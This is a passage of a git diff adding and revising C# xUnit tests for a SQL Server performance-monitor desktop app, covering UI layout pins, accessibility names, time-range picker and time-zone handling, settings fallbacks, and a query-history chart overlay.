+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Header=\"Query Preview\" Width=\"350\"")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Binding=\"{Binding AvgLogicalReads, StringFormat='{}{0:N0}'}\" Width=\"161\"")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Binding=\"{Binding CpuCount, StringFormat='{}{0:N0}'}\" Width=\"131\"")]
+    [InlineData("Lite/Controls/JobHistoryTab.xaml", "Binding=\"{Binding RunStatusDesc}\" Width=\"100\"")]
+    public void TheClippedColumns_KeepTheirWiderWidths(string file, string column)
+    {
+        Assert.Contains(column, RepoFile(file), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSettingsWindow_KeepsSaveAndCloseBelowTheScrollArea()
+    {
+        var xaml = RepoFile("Lite/Windows/SettingsWindow.xaml");
+        var scrollEnd = xaml.IndexOf("</ScrollViewer>", StringComparison.Ordinal);
+        Assert.True(scrollEnd > 0);
+        Assert.True(xaml.IndexOf("Click=\"SaveButton_Click\"", StringComparison.Ordinal) > scrollEnd, "Save sits inside the scroll area again");
+        Assert.True(xaml.IndexOf("Click=\"CloseButton_Click\"", StringComparison.Ordinal) > scrollEnd);
+    }
+
+    [Fact]
+    public void TheOverviewRefresh_ReadsEachServersClockOncePerRefresh()
+    {
+        var source = RepoFile("Lite/MainWindow.xaml.cs");
+        Assert.Contains("var refreshClocks = new Dictionary<int, ServerClock>();", source, StringComparison.Ordinal);
+        Assert.Contains("refreshClocks.TryGetValue(serverId, out var cached)", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AccessibleNames_NameAPanelHeaderFromItsTitle_NotFromItsFilterButton()
+    {
+        var (tabName, headerName, handNamed) = StaTestThread.Run(() =>
+        {
+            var panel = new StackPanel { Orientation = Orientation.Horizontal };
+            panel.Children.Add(new Button());
+            panel.Children.Add(new TextBlock { Text = "Duration (ms)" });
+            var columnHeader = new System.Windows.Controls.Primitives.DataGridColumnHeader { Content = panel };
+            AccessibleNames.Name(columnHeader, columnHeader.Content);
+
+            var tabHeader = new StackPanel();
+            tabHeader.Children.Add(new TextBlock { Text = "SQL2022" });
+            tabHeader.Children.Add(new Button { Content = "x" });
+            var tab = new TabItem { Header = tabHeader };
+            AccessibleNames.Name(tab, tab.Header);
+
+            var otherHeader = new StackPanel();
+            otherHeader.Children.Add(new TextBlock { Text = "SQL2025" });
+            var named = new TabItem { Header = otherHeader };
+            AutomationProperties.SetName(named, "Alerts");
+            AccessibleNames.Name(named, named.Header);
+
+            return (AutomationProperties.GetName(tab), AutomationProperties.GetName(columnHeader), AutomationProperties.GetName(named));
+        });
+
+        Assert.Equal("SQL2022", tabName);
+        Assert.Equal("Duration (ms)", headerName);
+        Assert.Equal("Alerts", handNamed);
+    }
+
+    [Theory]
+    [InlineData("Lite/Themes/CoolBreezeTheme.xaml")]
+    [InlineData("Lite/Themes/DarkTheme.xaml")]
+    [InlineData("Lite/Themes/LightTheme.xaml")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml")]
+    public void TheTabControlTemplate_UsesAWrapPanel_SoTheSelectedRowNeverMoves(string theme)
+    {
+        var xaml = RepoFile(theme);
+        var start = xaml.IndexOf("<Style TargetType=\"TabControl\">", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the TabControl style moved");
+        var style = xaml.Substring(start, xaml.IndexOf("</Style>", start, StringComparison.Ordinal) - start);
+
+        Assert.Contains("<WrapPanel", style, StringComparison.Ordinal);
+        Assert.Contains("KeyboardNavigation.TabNavigation=\"Once\"", style, StringComparison.Ordinal);
+        Assert.Contains("KeyboardNavigation.DirectionalNavigation=\"Cycle\"", style, StringComparison.Ordinal);
+        Assert.Contains("IsItemsHost=\"True\"", style, StringComparison.Ordinal);
+        Assert.DoesNotContain("<TabPanel", style, StringComparison.Ordinal);
+        Assert.Contains("PART_SelectedContentHost", style, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/CorrelatedTimelineLanesControl.xaml")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml")]
+    public void TheOverviewLaneLabels_CarryTheirUnits(string file)
+    {
+        var xaml = RepoFile(file);
+
+        Assert.Contains("Text=\"I/O Latency ms\"", xaml, StringComparison.Ordinal);
+        Assert.Contains("<Run Text=\"events\"/>", xaml, StringComparison.Ordinal);
+        Assert.DoesNotContain("<Run Text=\"events\" FontWeight", xaml, StringComparison.Ordinal);
+        Assert.Contains("Text=\"CPU %\"", xaml, StringComparison.Ordinal);
+        Assert.Contains("Text=\"Buffer Pool MB\"", xaml, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryFilterManagerGrid_SaysSoWhenItComesBackEmpty_AndTheSlicersAndChartsDoToo()
+    {
+        Assert.Contains("EmptyState.Show(_dataGrid, newData.Count == 0);", RepoFile("PerformanceMonitor.Ui/DataGridFilterManager.cs"), StringComparison.Ordinal);
+
+        var slicers = RepoFile("Lite/Controls/ServerTab.Slicers.cs");
+        foreach (var slicer in new[] { "ActiveQueriesSlicer", "QueryStatsSlicer", "QueryStoreSlicer", "ProcStatsSlicer" })
+        {
+            Assert.Contains(slicer + ".ShowEmpty(", slicers, StringComparison.Ordinal);
+        }
+
+        var charts = RepoFile("Lite/Controls/ServerTab.Charts.cs");
+        foreach (var chart in new[] { "MemoryGrantSizingChart", "MemoryGrantActivityChart", "BlockingTrendChart", "DeadlockTrendChart" })
+        {
+            Assert.Contains("EmptyState.Show(" + chart + ", data.Count == 0", charts, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("pressureRows.Count, keepsOwnEmptyText: true", charts, StringComparison.Ordinal);
+
+        var filters = RepoFile("Lite/Controls/ServerTab.Filters.cs");
+        foreach (var grid in new[] { "QuerySnapshotsGrid", "ProcedureStatsGrid", "BlockedProcessReportGrid", "DeadlockGrid" })
+        {
+            Assert.Contains("EmptyState.SetText(" + grid + ",", filters, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void BothAppsRegisterTheAccessibleNameHandlersAtStartup()
+    {
+        Assert.Contains("AccessibleNames.Register();", RepoFile("Lite/App.xaml.cs"), StringComparison.Ordinal);
+        Assert.Contains("AccessibleNames.Register();", RepoFile("Darling/PerformanceMonitor.Darling.Viewer/App.xaml.cs"), StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/ServerTabHeldRangeTests.cs b/Lite.Tests/ServerTabHeldRangeTests.cs
index 399ee67b63..846a58c356 100644
--- a/Lite.Tests/ServerTabHeldRangeTests.cs
+++ b/Lite.Tests/ServerTabHeldRangeTests.cs
@@ -13,34 +13,35 @@
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Ui;
 using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Helpers;
+using PerformanceMonitorLite.Services;
 using Xunit;
 
 namespace PerformanceMonitorLite.Tests;
 
 /// <summary>
-/// #4766: the Server tab holds its custom range as two UTC instants (<see cref="CustomRangeState"/>) and the pickers
-/// on the toolbar only show it. The window a refresh reads is the pair as held, whatever zone the pickers are drawn
-/// in; a switch of display mode draws the same pair in the new zone and parses nothing back.
+/// #5562: the Server tab holds its range on the shared picker, and the window a refresh reads comes from
+/// <see cref="LiteTimeRange.WindowFor"/>: a rolling range of whole hours is still (hours, null, null), exactly as the
+/// old presets were, and everything else (a sub-hour span, a calendar period, a typed range) carries the two instants
+/// it resolves to, so the ~60 consumers of <c>GetCurrentWindowUtc</c> / <c>GetHoursBack</c> / <c>GetChartWindow</c>
+/// need no change. The tab is a WPF control this suite does not instantiate (the shared picker has its own STA tests in
+/// Darling.Tests): the mapping, the settings split and the zone are pure and tested here directly, and the wiring
+/// around them is a source pin.
 ///
-/// <para>A range whose start is 06:30 UTC on 1 November is the case that needs this. On a US Eastern server that
-/// instant is the SECOND 01:30 of the day (the clocks fall back at 06:00 UTC), and the picker text "01:30" names the
-/// first (05:30 UTC). Read the text back after a redraw and the range moves an hour, so the redraw must not be read
-/// as the user typing. The tab is a WPF control this suite does not instantiate: the window and the zone are pure
-/// static methods tested here directly, and the wiring around them is a source pin.</para>
+/// <para>#4766 still holds: a fixed range holds its instants itself, so the zone only changes the text. A range from
+/// 06:30 UTC on 1 November is the second 01:30 on a US Eastern server, and it reads 06:30 UTC in every display mode.</para>
 /// </summary>
 public sealed class ServerTabHeldRangeTests
 {
     private static ServerClock Eastern() => ServerClock.Resolve("Eastern Standard Time", -300);
 
-    private static DateTime At(int day, int hour, int minute) =>
-        new(2026, 11, day, hour, minute, 0, DateTimeKind.Unspecified);
+    private static DateTime At(int month, int day, int hour, int minute) =>
+        new(2026, month, day, hour, minute, 0, DateTimeKind.Unspecified);
 
-    /* A range from the second 01:30 to the second 02:30 of the change day, as the tab holds it. */
-    private static CustomRangeState Held()
+    private static ResolvedTimeRange Resolve(TimeRangeSpec spec, DateTime nowUtc, TimeZoneInfo zone)
     {
-        var held = new CustomRangeState();
-        held.Set(At(1, 6, 30), At(1, 7, 30));
-        return held;
+        Assert.True(spec.TryResolve(nowUtc, zone, out var range, out var error), error?.Message);
+        return range!;
     }
 
     // ── The window a refresh reads ──
@@ -49,29 +50,76 @@ private static CustomRangeState Held()
     [InlineData(TimeDisplayMode.UTC)]
     [InlineData(TimeDisplayMode.LocalTime)]
     [InlineData(TimeDisplayMode.ServerTime)]
-    public void AHeldRange_IsTheWindow_WhateverZoneThePickersAreDrawnIn(TimeDisplayMode mode)
+    public void AFixedRange_IsTheWindow_WhateverZoneThePickerIsDrawnIn(TimeDisplayMode mode)
     {
-        var held = Held();
         var zone = ServerTab.PickerZone(mode, Eastern());
+        var spec = TimeRangeSpec.FixedRange(At(11, 1, 6, 30), At(11, 1, 7, 30));
 
-        /* The pickers are drawn in this zone. Drawing them reads the pair and writes nothing. */
-        Assert.NotNull(held.Render(zone));
+        var (hoursBack, fromUtc, toUtc) = LiteTimeRange.WindowFor(Resolve(spec, At(11, 5, 12, 0), zone));
 
-        var (hoursBack, fromUtc, toUtc) = ServerTab.CurrentWindowUtc(4, customSelected: true, held);
+        Assert.Equal(At(11, 1, 6, 30), fromUtc);
+        Assert.Equal(At(11, 1, 7, 30), toUtc);
+        /* Hours from the start to now, rounded up: 4 days and 5.5 hours. */
+        Assert.Equal(102, hoursBack);
+    }
 
-        Assert.Equal(4, hoursBack);
-        Assert.Equal(At(1, 6, 30), fromUtc);
-        Assert.Equal(At(1, 7, 30), toUtc);
+    [Theory]
+    [InlineData(1)]
+    [InlineData(4)]
+    [InlineData(12)]
+    [InlineData(24)]
+    [InlineData(168)]
+    public void ARollingRangeOfWholeHours_HasNoBounds_LikeTheOldPresets(int hours)
+    {
+        var spec = TimeRangePresets.FromLegacyHours(hours)!;
+
+        Assert.Equal((hours, (DateTime?)null, (DateTime?)null), LiteTimeRange.WindowFor(Resolve(spec, At(10, 8, 12, 0), TimeZoneInfo.Utc)));
+    }
+
+    [Theory]
+    [InlineData(5, 1)]
+    [InlineData(15, 1)]
+    [InlineData(30, 1)]
+    [InlineData(90, 2)]
+    public void ASubHourOrFractionalSpan_CarriesItsInstants_AndHoursBackRoundsUp(int minutes, int expectedHoursBack)
+    {
+        var now = At(10, 8, 12, 0);
+        var spec = TimeRangeSpec.Relative(TimeSpan.FromMinutes(minutes));
+
+        var (hoursBack, fromUtc, toUtc) = LiteTimeRange.WindowFor(Resolve(spec, now, TimeZoneInfo.Utc));
+
+        Assert.Equal(expectedHoursBack, hoursBack);
+        Assert.Equal(now.AddMinutes(-minutes), fromUtc);
+        Assert.Equal(now, toUtc);
     }
 
     [Fact]
-    public void APresetOrAnEmptyHold_HasNoBounds()
+    public void ACalendarPeriod_FlowsThroughAsTheDisplayZonesWallClockDay()
     {
-        var held = Held();
-        Assert.Equal((4, (DateTime?)null, (DateTime?)null), ServerTab.CurrentWindowUtc(4, customSelected: false, held));
+        /* 'Yesterday' on an Eastern server read at 08 Oct 2026 12:00 UTC (08:00 there) is 7 Oct 00:00 to 8 Oct 00:00 Eastern. */
+        var zone = ServerTab.PickerZone(TimeDisplayMode.ServerTime, Eastern());
+        var now = At(10, 8, 12, 0);
+        var spec = TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday);
+        var range = Resolve(spec, now, zone);
+
+        var (hoursBack, fromUtc, toUtc) = LiteTimeRange.WindowFor(range);
+
+        Assert.Equal(At(10, 7, 4, 0), fromUtc);
+        Assert.Equal(At(10, 8, 4, 0), toUtc);
+        Assert.Equal(32, hoursBack);
+
+        /* The chart axis for it is that pair, not 'now - hoursBack'. */
+        Assert.Equal((At(10, 7, 4, 0), At(10, 8, 4, 0)), ServerTab.GetChartWindow(hoursBack, fromUtc, toUtc, now));
+        Assert.True(LiteTimeRange.HasExplicitInstants(range));
+    }
 
-        var nothingHeldYet = new CustomRangeState();
-        Assert.Equal((24, (DateTime?)null, (DateTime?)null), ServerTab.CurrentWindowUtc(24, customSelected: true, nothingHeldYet));
+    [Fact]
+    public void ARollingWholeHourRange_IsNotExplicit_ASlidingOneIs()
+    {
+        var now = At(10, 8, 12, 0);
+        Assert.False(LiteTimeRange.HasExplicitInstants(Resolve(TimeRangeSpec.Relative(TimeSpan.FromHours(4)), now, TimeZoneInfo.Utc)));
+        Assert.True(LiteTimeRange.HasExplicitInstants(Resolve(TimeRangeSpec.Relative(TimeSpan.FromMinutes(30)), now, TimeZoneInfo.Utc)));
+        Assert.True(LiteTimeRange.HasExplicitInstants(Resolve(TimeRangeSpec.SinceInstant(At(10, 7, 0, 0)), now, TimeZoneInfo.Utc)));
     }
 
     [Fact]
@@ -84,96 +132,182 @@ public void ThePickerZone_IsUtc_ThisMachinesZone_OrTheTabsOwnServerClock()
 
         /* The zone of the clock the tab was handed, so a tab that is not the selected one keeps its own server's zone. */
         var server = ServerTab.PickerZone(TimeDisplayMode.ServerTime, clock);
-        Assert.Equal(TimeSpan.FromHours(-4), server.GetUtcOffset(DateTime.SpecifyKind(At(1, 5, 30), DateTimeKind.Utc)));
-        Assert.Equal(TimeSpan.FromHours(-5), server.GetUtcOffset(DateTime.SpecifyKind(At(1, 6, 30), DateTimeKind.Utc)));
+        Assert.Equal(TimeSpan.FromHours(-4), server.GetUtcOffset(DateTime.SpecifyKind(At(11, 1, 5, 30), DateTimeKind.Utc)));
+        Assert.Equal(TimeSpan.FromHours(-5), server.GetUtcOffset(DateTime.SpecifyKind(At(11, 1, 6, 30), DateTimeKind.Utc)));
     }
 
-    [Fact]
-    public void ADisplayModeRoundTrip_ServerThenUtcThenServer_LeavesTheHeldInstantsAlone()
+    // ── Settings: the legacy hours key keeps working, default_time_range is optional ──
+
+    [Theory]
+    [InlineData(1, "1h")]
+    [InlineData(4, "4h")]
+    [InlineData(12, "12h")]
+    [InlineData(24, "1d")]
+    [InlineData(168, "1w")]
+    [InlineData(48, "2d")]
+    public void TheLegacyHoursKey_MapsThroughFromLegacyHours(int hours, string expectedId)
     {
-        var held = Held();
-        var clock = Eastern();
-        var serverZone = ServerTab.PickerZone(TimeDisplayMode.ServerTime, clock);
-        var utcZone = ServerTab.PickerZone(TimeDisplayMode.UTC, clock);
+        Assert.Equal(expectedId, LiteTimeRange.FromSettings(null, hours).Id);
+        Assert.Equal(expectedId, LiteTimeRange.FromSettings("", hours).Id);
+    }
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(-3)]
+    [InlineData(int.MaxValue)]
+    [InlineData(300_000_000)]
+    public void ANonsenseLegacyValue_OpensOnFourHours(int hours)
+    {
+        Assert.Equal("4h", LiteTimeRange.FromSettings(null, hours).Id);
+    }
 
-        var inServer = held.Render(serverZone);
-        var inUtc = held.Render(utcZone);
-        var inServerAgain = held.Render(serverZone);
+    [Theory]
+    [InlineData("400000mo")]
+    [InlineData("1000000d")]
+    [InlineData("999999w")]
+    public void ACorruptRangeId_FallsBackWithoutThrowing(string id)
+    {
+        /* #5562 review H1: a hand-edited settings.json used to throw OverflowException when a server tab was built. */
+        Assert.Equal("4h", LiteTimeRange.FromSettings(id, 0).Id);
+        Assert.Equal("1d", LiteTimeRange.FromSettings(id, 24).Id);
+    }
 
-        /* 06:30 UTC is 01:30 on the server's clock, and 07:30 UTC is 02:30 there. */
-        Assert.Equal((At(1, 1, 30), At(1, 2, 30)), inServer);
-        Assert.Equal((At(1, 6, 30), At(1, 7, 30)), inUtc);
-        Assert.Equal(inServer, inServerAgain);
+    [Fact]
+    public void TheNewKey_WinsForAPresetOrAPeriod_AndANonPersistableOneFallsBackToTheHours()
+    {
+        Assert.Equal("30m", LiteTimeRange.FromSettings("30m", 24).Id);
+        Assert.Equal("previous-week", LiteTimeRange.FromSettings("previous-week", 24).Id);
+        Assert.Equal("1mo", LiteTimeRange.FromSettings("1mo", 4).Id);
+
+        /* A typed range is never taken from a file, and neither is text that is not a range. */
+        Assert.Equal("12h", LiteTimeRange.FromSettings("fixed:2026-10-01T04:00:00Z/2026-10-02T04:00:00Z", 12).Id);
+        Assert.Equal("12h", LiteTimeRange.FromSettings("since:2026-10-01T04:00:00Z", 12).Id);
+        Assert.Equal("12h", LiteTimeRange.FromSettings("nonsense", 12).Id);
+    }
 
-        Assert.Equal(At(1, 6, 30), held.FromUtc);
-        Assert.Equal(At(1, 7, 30), held.ToUtc);
-        Assert.Equal(At(1, 6, 30), ServerTab.CurrentWindowUtc(4, customSelected: true, held).fromUtc);
+    [Fact]
+    public void WhatIsWritten_WholeHoursGoToTheLegacyKey_OtherPresetsToTheNewOne_ATypedRangeToNeither()
+    {
+        Assert.Equal(((string?)null, (int?)4), LiteTimeRange.SettingsFor(TimeRangePresets.FromLegacyHours(4)!));
+        Assert.Equal(((string?)null, (int?)24), LiteTimeRange.SettingsFor(TimeRangePresets.FromLegacyHours(24)!));
+        Assert.Equal(("15m", (int?)null), LiteTimeRange.SettingsFor(TimeRangeSpec.Relative(TimeSpan.FromMinutes(15))));
+        Assert.Equal(("previous-week", (int?)null), LiteTimeRange.SettingsFor(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousWeek)));
+        Assert.Equal(((string?)null, (int?)null), LiteTimeRange.SettingsFor(TimeRangeSpec.FixedRange(At(10, 1, 0, 0), At(10, 2, 0, 0))));
+        Assert.Equal(((string?)null, (int?)null), LiteTimeRange.SettingsFor(TimeRangeSpec.SinceInstant(At(10, 1, 0, 0))));
     }
 
-    /// <summary>
-    /// The fact that makes the redraw guard necessary. The pickers show the second 01:30 as the text "01:30". Read
-    /// back as a typed edit, "01:30" as the start of a range is the FIRST 01:30, 05:30 UTC: an hour earlier than the
-    /// range that was held. So a picker write made by the tab itself must never reach the edit path.
-    /// </summary>
     [Fact]
-    public void ReadingTheRenderedServerTextBackAsAnEdit_MovesA0630ZStartTo0530Z()
+    public void TheTwoKeysNeverDisagree_ChoosingAWholeHourRangeClearsTheNewKey()
     {
-        var held = Held();
-        var serverZone = ServerTab.PickerZone(TimeDisplayMode.ServerTime, Eastern());
-        var shown = held.Render(serverZone)!.Value;
-        Assert.Equal(At(1, 1, 30), shown.From);
+        var root = new System.Text.Json.Nodes.JsonObject { ["default_time_range"] = "previous-week", ["default_time_range_hours"] = 4 };
 
-        var edited = held.ApplyEdit(shown.From, BoundSide.From, serverZone);
+        App.WriteDefaultTimeRange(root, null, 12);
+        Assert.Equal(12, (int)root["default_time_range_hours"]!);
+        Assert.False(root.ContainsKey("default_time_range"));
 
-        Assert.Equal(At(1, 5, 30), edited);
-        Assert.Equal(At(1, 5, 30), held.FromUtc);
-        Assert.Equal(At(1, 7, 30), held.ToUtc);
+        App.WriteDefaultTimeRange(root, "30m", null);
+        Assert.Equal("30m", (string?)root["default_time_range"]);
+        Assert.Equal(12, (int)root["default_time_range_hours"]!);
     }
 
-    // ── The wiring: source pins on Lite/Controls/ServerTab.TimeRange.cs ──
+    // ── Notes: the retention start and the collector's interval ──
 
-    /// <summary>
-    /// The display-mode switch draws the held range in the new zone and calls nothing that reads the pickers'
-    /// text: not the parse itself and not the capture that wraps it. Comments are stripped, so a sentence that names
-    /// them cannot fail the pin.
-    /// </summary>
     [Fact]
-    public void TheDisplayModeSwitch_DrawsTheHeldRange_AndParsesNothing()
+    public void TheDataStart_IsTheProbedFloor_ElseTheStaticRetentionEdge()
     {
-        var body = MethodBody(CodeOnly(ReadTimeRangeSource()), "private async void TimeDisplayMode_SelectionChanged(");
+        var now = At(10, 8, 12, 0);
+        var floor = At(10, 3, 14, 0);
 
-        Assert.Contains("RenderCustomRange();", body, StringComparison.Ordinal);
-        Assert.DoesNotContain("GetDateTimeFromPickers", body, StringComparison.Ordinal);
-        Assert.DoesNotContain("CaptureCustomRangeEdit", body, StringComparison.Ordinal);
+        Assert.Equal(floor, LiteTimeRange.DataStartFor(floor, now));
+        Assert.Equal(RetentionService.OldestRetainedInstant(now), LiteTimeRange.DataStartFor(null, now));
+
+        /* The picker words it from the range: a start well before the data start shows the note, one after it does not. */
+        var long30 = Resolve(TimeRangeSpec.Relative(TimeSpan.FromDays(30)), now, TimeZoneInfo.Utc);
+        Assert.StartsWith("Data starts", TimeRangeNotes.DataStartNote(long30, floor));
+        Assert.Null(TimeRangeNotes.DataStartNote(Resolve(TimeRangeSpec.Relative(TimeSpan.FromHours(4)), now, TimeZoneInfo.Utc), floor));
     }
 
-    /// <summary>
-    /// <c>RenderCustomRange</c> raises <c>_renderingCustomRange</c> before its first picker write and lowers it in a
-    /// <c>finally</c>, and both picker handlers return on it before they reach <c>CaptureCustomRangeEdit</c>, so the
-    /// tab's own writes are never read as an edit.
-    /// </summary>
+    [Theory]
+    [InlineData(1, 5, false)]
+    [InlineData(15, 30, true)]
+    [InlineData(5, 10, true)]
+    [InlineData(5, 15, false)]
+    [InlineData(0, 5, false)]
+    public void TheSampleInterval_IsTheCollectorsActualCadence_AndAShortSpanShowsTheNote(int minutes, int spanMinutes, bool noteShown)
+    {
+        var interval = LiteTimeRange.SampleIntervalFor(minutes);
+        var span = TimeSpan.FromMinutes(spanMinutes);
+
+        if (minutes == 0)
+        {
+            Assert.Null(interval);
+        }
+        else
+        {
+            Assert.Equal(TimeSpan.FromMinutes(minutes), interval);
+        }
+
+        Assert.Equal(noteShown, TimeRangeNotes.SampleIntervalNote(span, interval) != null);
+    }
+
+    // ── The wiring: source pins on the tab's files ──
+
     [Fact]
-    public void TheTabsOwnPickerWrites_AreMarked_AndBothPickerHandlersIgnoreThem()
+    public void TheDisplayModeSwitch_DrawsThePickerAgain_AndParsesNothing()
     {
-        var source = CodeOnly(ReadTimeRangeSource());
+        var body = MethodBody(CodeOnly(ReadControl("ServerTab.TimeRange.cs")), "private async void TimeDisplayMode_SelectionChanged(");
+
+        Assert.Contains("RangePicker.Refresh();", body, StringComparison.Ordinal);
+    }
 
-        var render = MethodBody(source, "private void RenderCustomRange(");
-        var raised = render.IndexOf("_renderingCustomRange = true;", StringComparison.Ordinal);
-        var firstWrite = render.IndexOf("FromDatePicker.SelectedDate", StringComparison.Ordinal);
-        var lowered = render.IndexOf("_renderingCustomRange = false;", StringComparison.Ordinal);
-        var finallyBlock = render.IndexOf("finally", StringComparison.Ordinal);
-        Assert.True(raised >= 0 && raised < firstWrite, "RenderCustomRange has to raise _renderingCustomRange before it writes a picker.");
-        Assert.True(finallyBlock > firstWrite && lowered > finallyBlock, "RenderCustomRange has to lower _renderingCustomRange in a finally.");
+    [Fact]
+    public void TheToolbar_HoldsTheSharedPicker_AndNoneOfTheOldControls()
+    {
+        var xaml = ReadControl("ServerTab.xaml");
 
-        foreach (var signature in new[] { "private async void CustomDateRange_Changed(", "private async void CustomTimeCombo_Changed(" })
+        Assert.Contains("<ui:TimeRangePicker x:Name=\"RangePicker\"", xaml, StringComparison.Ordinal);
+        foreach (var gone in new[] { "TimeRangeCombo", "FromDatePicker", "ToDatePicker", "FromHourCombo", "ToHourCombo", "FromMinuteCombo", "ToMinuteCombo" })
         {
-            var handler = MethodBody(source, signature);
-            var guard = Regex.Match(handler, @"\|\|\s*_renderingCustomRange\s*\)\s*return;");
-            var capture = handler.IndexOf("CaptureCustomRangeEdit(", StringComparison.Ordinal);
-
-            Assert.True(guard.Success, $"{signature} has to return while _renderingCustomRange is set.");
-            Assert.True(capture > guard.Index, $"{signature} has to return on _renderingCustomRange before CaptureCustomRangeEdit.");
+            Assert.DoesNotContain(gone, xaml, StringComparison.Ordinal);
         }
+
+        /* Apply to All, Compare and the display-mode combo stay beside it. */
+        Assert.Contains("ApplyTimeRangeToAll_Click", xaml, StringComparison.Ordinal);
+        Assert.Contains("CompareToCombo", xaml, StringComparison.Ordinal);
+        Assert.Contains("TimeDisplayModeBox", xaml, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePickersChoice_IsRemembered_AndNeverDropsAChangeBecauseARefreshIsRunning()
+    {
+        var body = MethodBody(CodeOnly(ReadControl("ServerTab.TimeRange.cs")), "private async void RangePicker_RangeChanged(");
+
+        Assert.DoesNotContain("_isRefreshing", body, StringComparison.Ordinal);
+        Assert.Contains("_suppressRangeRefresh", body, StringComparison.Ordinal);
+        Assert.Contains("PersistSelectedTimeRange(e.Spec);", body, StringComparison.Ordinal);
+        Assert.Contains("RefreshAllDataAsync()", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheQueryStatsProbe_FeedsThePickersDataStart_WithoutANewQuery()
+    {
+        var refresh = CodeOnly(ReadControl("ServerTab.Refresh.cs"));
+        var body = MethodBody(refresh, "private async System.Threading.Tasks.Task RefreshWindowTruncatedBannerAsync(");
+
+        /* #5562 R7: every relation feeds, keyed by its collector, and the tab shows the floor of the page on screen. */
+        Assert.Contains("FeedDataStart(LiteTimeRange.CollectorOfRelation(relation), floor);", body, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(body, @"GetQueryWindowFloorAsync\("));
+    }
+
+    [Fact]
+    public void TheCurrentWindow_ComesFromThePicker_AndTheTabSetsItsZoneAndDefault()
+    {
+        var refresh = CodeOnly(ReadControl("ServerTab.Refresh.cs"));
+        Assert.Contains("LiteTimeRange.WindowFor(CurrentRange())", MethodBody(refresh, "private (int hoursBack, DateTime? fromUtc, DateTime? toUtc) GetCurrentWindowUtc("), StringComparison.Ordinal);
+
+        var ctor = CodeOnly(ReadControl("ServerTab.xaml.cs"));
+        Assert.Contains("RangePicker.ZoneProvider = GetPickerZone;", ctor, StringComparison.Ordinal);
+        Assert.Contains("RangePicker.Value = App.DefaultTimeRange;", ctor, StringComparison.Ordinal);
     }
 
     /* The text of the method that starts at the signature, up to its closing brace: these files indent members by four
@@ -195,7 +329,7 @@ private static string CodeOnly(string source)
         return Regex.Replace(lf, @"//[^\n]*", string.Empty);
     }
 
-    private static string ReadTimeRangeSource([CallerFilePath] string thisFile = "") =>
+    private static string ReadControl(string name, [CallerFilePath] string thisFile = "") =>
         File.ReadAllText(Path.GetFullPath(Path.Combine(
-            Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls", "ServerTab.TimeRange.cs")));
+            Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls", name)));
 }
diff --git a/Lite.Tests/ServerTabHistoryOverlayTests.cs b/Lite.Tests/ServerTabHistoryOverlayTests.cs
new file mode 100644
index 0000000000..21b66208cd
--- /dev/null
+++ b/Lite.Tests/ServerTabHistoryOverlayTests.cs
@@ -0,0 +1,74 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5449: the slicer overlay of the selected Top Queries / Top Procedures row. The history rows already carry the
+/// per-collection DELTA (<c>delta_*</c>), so each row's own delta is the point. The overlay used to subtract the previous
+/// row's delta from each row's delta (it treated the deltas as running totals), so it drew a point only where the work
+/// changed between two collections, dropped the first row, and on a store without the idle rows read different from one with them.
+/// </summary>
+public sealed class ServerTabHistoryOverlayTests
+{
+    private static readonly DateTime T0 = new(2026, 10, 1, 12, 0, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public void ProcOverlay_PlotsEachRowsOwnDelta_NotTheDifferenceFromThePreviousRow()
+    {
+        var history = new List<ProcedureStatsHistoryRow>
+        {
+            new() { CollectionTime = T0, DeltaElapsedUs = 500_000 },
+            new() { CollectionTime = T0.AddMinutes(1), DeltaElapsedUs = 500_000 },
+            new() { CollectionTime = T0.AddMinutes(2), DeltaElapsedUs = 300_000 },
+        };
+
+        var points = ServerTab.ComputeProcOverlayPoints(history, "TotalElapsed");
+
+        Assert.Equal(new[] { (T0, 500.0), (T0.AddMinutes(1), 500.0), (T0.AddMinutes(2), 300.0) }, points.ToArray());
+    }
+
+    [Fact]
+    public void ProcOverlay_AnIdleRowIsNotDrawn_SoBothKindsOfStoreDrawTheSame()
+    {
+        /* An older store keeps a row of zeros for a quiet minute; a newer one has no row. The overlay draws neither. */
+        var kept = new List<ProcedureStatsHistoryRow>
+        {
+            new() { CollectionTime = T0, DeltaLogicalReads = 40 },
+            new() { CollectionTime = T0.AddMinutes(1), DeltaLogicalReads = 0 },
+            new() { CollectionTime = T0.AddMinutes(2), DeltaLogicalReads = 40 },
+        };
+        var left = kept.Where(r => r.DeltaLogicalReads > 0).ToList();
+
+        Assert.Equal(
+            ServerTab.ComputeProcOverlayPoints(left, "TotalReads"),
